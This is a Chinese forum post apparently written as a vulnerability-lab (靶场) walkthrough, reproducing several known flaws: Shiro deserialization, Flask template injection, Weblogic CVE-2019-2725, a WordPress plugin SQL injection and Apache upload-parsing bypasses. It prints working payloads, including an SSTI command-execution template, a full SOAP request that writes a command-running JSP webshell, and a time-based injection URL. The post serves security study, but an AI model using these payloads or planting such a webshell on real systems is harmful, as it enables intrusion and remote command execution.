漏洞复现靶场writeup之四

veek   ·   发表于 2020-12-01 15:54:52   ·   CTF&WP专版

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

进入网站,可以看到登陆页面

此处直接用github上的工具测试,用dnslog查看响应。贴出我用的:https://github.com/insightglacier/Shiro_exploit

查看查询记录,表明漏洞存在。

flask SSTI模板注入

访问http://your-ip/?name={{111*111}},得到12321,说明SSTI漏洞存在。

获取eval函数并执行任意python代码的POC:

  1. {% for c in [].__class__.__base__.__subclasses__() %}
  2. {% if c.__name__ == 'catch_warnings' %}
  3. {% for b in c.__init__.__globals__.values() %}
  4. {% if b.__class__ == {}.__class__ %}
  5. {% if 'eval' in b.keys() %}
  6. {{ b['eval']('__import__("os").popen("id").read()') }}
  7. {% endif %}
  8. {% endif %}
  9. {% endfor %}
  10. {% endif %}
  11. {% endfor %}

访问

  1. http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

得到执行结果:

(CVE-2019-2725)Weblogic反序列化远程代码执行漏洞

访问http://xxxxx/_async/AsyncResponseService/ 页面,若出现以下状况,则可能存在漏洞。

用下方直接给出POC,复制到burpsuite的Repeater中使用(需要更改host)。

执行完后直接访问:
http://xxxxxx/_async/webshell.jsp?pwd=123&cmd=whoami


POC:

  1. POST /_async/AsyncResponseService HTTP/1.1
  2. Host: ip:port
  3. Content-Length: 1142
  4. Accept-Encoding: gzip, deflate
  5. SOAPAction:
  6. Accept: */*
  7. User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
  8. Connection: keep-alive
  9. content-type: text/xml
  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
  11. <%
  12. if("123".equals(request.getParameter("pwd"))){
  13. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  14. int a = -1;
  15. byte[] b = new byte[1024];
  16. out.print("<pre>");
  17. while((a=in.read(b))!=-1){
  18. out.println(new String(b));
  19. }
  20. out.print("</pre>");
  21. }
  22. %>]]>
  23. </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

Wordpress 插件 Form maker 1.13.3 SQL注入漏洞 CVE- 2019-10866

该漏洞与wordpress本体的版本无关。
首先需要进入后台页面。

访问以下POC,会得到延时注入的效果:

  1. http://[wordpress靶场地址]/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&asc_or_desc=,(case+when+(select+ascii(substring(user(),1,1)))%3d114+then+(select+sleep(5)+from+wp_users+limit+1)+else+2+end)+asc%3b

响应如下,可见存在sql注入漏洞:

后续进行正常注入流程即可。

Apache 多后缀解析漏洞

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

  1. AddType text/html .html
  2. AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

  1. AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

进入靶场,http://[靶场url]/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件,利用Apache解析漏洞进行getshell。

访问目标页面,可见被成功解析为php文件。

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

apache 2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

复现过程,首先提交1.php文件,被拦截

再次提交文件,抓包修改数据包。在evil.php(名称可自定义)后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A。其中\x0D为\r的16进制,为回车符;\x0A为\n的16进制,为换行符),不再拦截:

访问刚才的/evil.php%0a页面:

Apache 目录遍历漏洞

当apache配置不当时产生的安全隐患,当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

来到目标页面,查看images子目录,可见文件被暴露了出来

接下来可以使用工具,扫描出网站的子目录,并利用此配置缺陷直接获得flag。

打赏我,让我更有动力~

1 Reply   |  Until 6个月前 | 2033 View

天火与地球
发表于 6个月前

我真的无语啊,也不知道是靶场搭建的有问题还是我做的有问题,一直各种错误,放弃了放弃了

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.